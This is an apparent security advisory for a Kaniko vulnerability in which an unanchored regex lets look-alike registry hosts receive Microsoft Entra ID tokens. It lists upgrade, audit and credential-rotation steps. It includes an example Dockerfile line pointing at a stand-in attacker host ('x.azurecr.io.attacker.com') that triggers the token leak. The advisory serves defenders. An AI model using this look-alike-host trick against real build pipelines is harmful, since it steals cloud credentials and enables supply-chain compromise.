CVE-2026-105769 in Kaniko: Critical Flaw Leaks Microsoft Entra ID Tokens

What is CVE-2026-105769 and why does it leak Azure tokens?

Kaniko versions prior to 1.25.20 can leak Microsoft Entra ID (Azure AD) access tokens intended for Azure Resource Manager to an attacker-controlled registry host. The underlying flaw stems from the Azure Container Registry helper docker-credential-acr-env, which determines whether a target host belongs to ACR by using an unanchored regular expression.

Because the pattern matches any hostname containing suffixes such as.azurecr.io,.azurecr.cn,.azurecr.de, or.azurecr.us anywhere in the string, a host like x.azurecr.io.attacker.com is mistakenly recognized as legitimate. Classified under CWE-346 and CWE-522, this issue poses severe supply chain risks comparable to the automated exposure seen in OpenHands SDK RCE vulnerabilities.

Who is affected by this CI/CD credential leak?

This vulnerability threatens any container pipeline using Kaniko to process untrusted Dockerfiles while backed by Azure credentials, including managed identities, federated workload identity tokens, or service principal environment variables. Similar to the misconfiguration risks addressed in Burrito TACoS for Kubernetes, build agents with elevated permissions expose surrounding infrastructure when authentication boundaries fail.

An adversary does not need build runners to push images or execute shell commands. Simply defining a base image with FROM x.azurecr.io.attacker.com/img or referencing an artifact via COPY --from=<image> forces Kaniko to obtain an Entra ID token and POST it directly to https://<host>/oauth2/exchange before contacting the registry.

How can I protect my environment against this vulnerability?

Mitigating this security flaw requires updating the Kaniko executor image across all pipeline templates and validating identity scopes used by automated builders. Maintaining tight control over third-party dependencies is essential across modern stacks, as observed during remediation work for the Rust zip library vulnerability.

Audit pipeline configurations and runner manifests to identify Kaniko versions below 1.25.20.
Upgrade container build definitions to use Kaniko v1.25.20 or newer releases.
Inspect build logs for suspicious registry hosts matching unanchored ACR patterns.
Rotate service principal secrets and assess Azure role assignments attached to build identities.
Apply network egress filters on runners to prevent unauthorized outbound connections to arbitrary registries.

yaml

- name: Build image with Kaniko
  image: gcr.io/kaniko-project/executor:v1.25.20
  args: ["--dockerfile=Dockerfile", "--destination=myregistry.azurecr.io/app:latest"]

Update Kaniko build image reference in pipeline definitions

Frequently asked questions

Which versions of Kaniko are vulnerable to CVE-2026-105769?

All versions of Kaniko prior to 1.25.20 are vulnerable to this credential exposure flaw.

Does exploiting this vulnerability require running malicious code in the Dockerfile?

No, the leak triggers automatically during registry host evaluation in FROM or COPY --from statements, without executing RUN commands or requiring image pushes.

What permissions can an attacker gain by intercepting the leaked token?

It yields a Microsoft Entra ID token scoped to Azure Resource Manager with the build identity's role assignments, which can also be exchanged for access to any authorized ACR registry.